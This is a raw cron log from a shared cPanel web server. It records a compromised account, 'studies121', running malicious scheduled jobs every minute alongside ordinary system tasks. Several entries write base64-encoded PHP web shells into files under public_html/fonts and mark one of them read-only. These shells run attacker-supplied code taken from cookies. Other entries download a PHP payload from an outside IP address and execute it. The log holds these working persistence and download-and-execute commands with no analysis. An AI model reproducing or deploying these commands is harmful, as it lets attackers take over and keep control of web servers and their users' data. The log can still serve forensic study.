Sep 21 09:42:01 ip-184-168-122-23 CROND[4788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:42:01 ip-184-168-122-23 CROND[4790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:42:01 ip-184-168-122-23 CROND[4791]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:43:01 ip-184-168-122-23 CROND[4911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:43:01 ip-184-168-122-23 CROND[4912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:43:01 ip-184-168-122-23 CROND[4913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:43:01 ip-184-168-122-23 CROND[4916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:44:01 ip-184-168-122-23 CROND[5052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:44:01 ip-184-168-122-23 CROND[5051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:44:01 ip-184-168-122-23 CROND[5056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:44:01 ip-184-168-122-23 CROND[5055]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:44:01 ip-184-168-122-23 CROND[5057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:45:01 ip-184-168-122-23 CROND[5200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:45:01 ip-184-168-122-23 CROND[5203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:45:01 ip-184-168-122-23 CROND[5205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:45:01 ip-184-168-122-23 CROND[5204]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:45:01 ip-184-168-122-23 CROND[5202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:45:01 ip-184-168-122-23 CROND[5206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:46:01 ip-184-168-122-23 CROND[5364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:46:01 ip-184-168-122-23 CROND[5366]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 09:46:01 ip-184-168-122-23 CROND[5368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:46:01 ip-184-168-122-23 CROND[5369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:46:01 ip-184-168-122-23 CROND[5372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:46:01 ip-184-168-122-23 CROND[5370]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 09:46:01 ip-184-168-122-23 CROND[5371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:47:01 ip-184-168-122-23 CROND[5530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:47:01 ip-184-168-122-23 CROND[5531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:47:01 ip-184-168-122-23 CROND[5533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:47:01 ip-184-168-122-23 CROND[5534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:48:01 ip-184-168-122-23 CROND[5713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:48:01 ip-184-168-122-23 CROND[5715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:48:01 ip-184-168-122-23 CROND[5716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:48:01 ip-184-168-122-23 CROND[5717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:48:01 ip-184-168-122-23 CROND[5718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:49:01 ip-184-168-122-23 CROND[5854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:49:01 ip-184-168-122-23 CROND[5856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:49:01 ip-184-168-122-23 CROND[5857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:49:01 ip-184-168-122-23 CROND[5858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:50:01 ip-184-168-122-23 CROND[6052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:50:01 ip-184-168-122-23 CROND[6054]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 09:50:01 ip-184-168-122-23 CROND[6057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:50:01 ip-184-168-122-23 CROND[6058]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:50:01 ip-184-168-122-23 CROND[6059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:50:01 ip-184-168-122-23 CROND[6060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:50:01 ip-184-168-122-23 CROND[6061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:50:02 ip-184-168-122-23 CROND[6064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:50:02 ip-184-168-122-23 CROND[6072]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 09:51:01 ip-184-168-122-23 CROND[6207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:51:01 ip-184-168-122-23 CROND[6209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:51:01 ip-184-168-122-23 CROND[6208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:51:01 ip-184-168-122-23 CROND[6211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:52:01 ip-184-168-122-23 CROND[6319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:52:01 ip-184-168-122-23 CROND[6325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:52:01 ip-184-168-122-23 CROND[6324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:52:01 ip-184-168-122-23 CROND[6326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:52:01 ip-184-168-122-23 CROND[6327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:53:01 ip-184-168-122-23 CROND[6462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:53:01 ip-184-168-122-23 CROND[6464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:53:01 ip-184-168-122-23 CROND[6465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:53:01 ip-184-168-122-23 CROND[6466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:54:01 ip-184-168-122-23 CROND[6604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:54:01 ip-184-168-122-23 CROND[6606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:54:01 ip-184-168-122-23 CROND[6607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
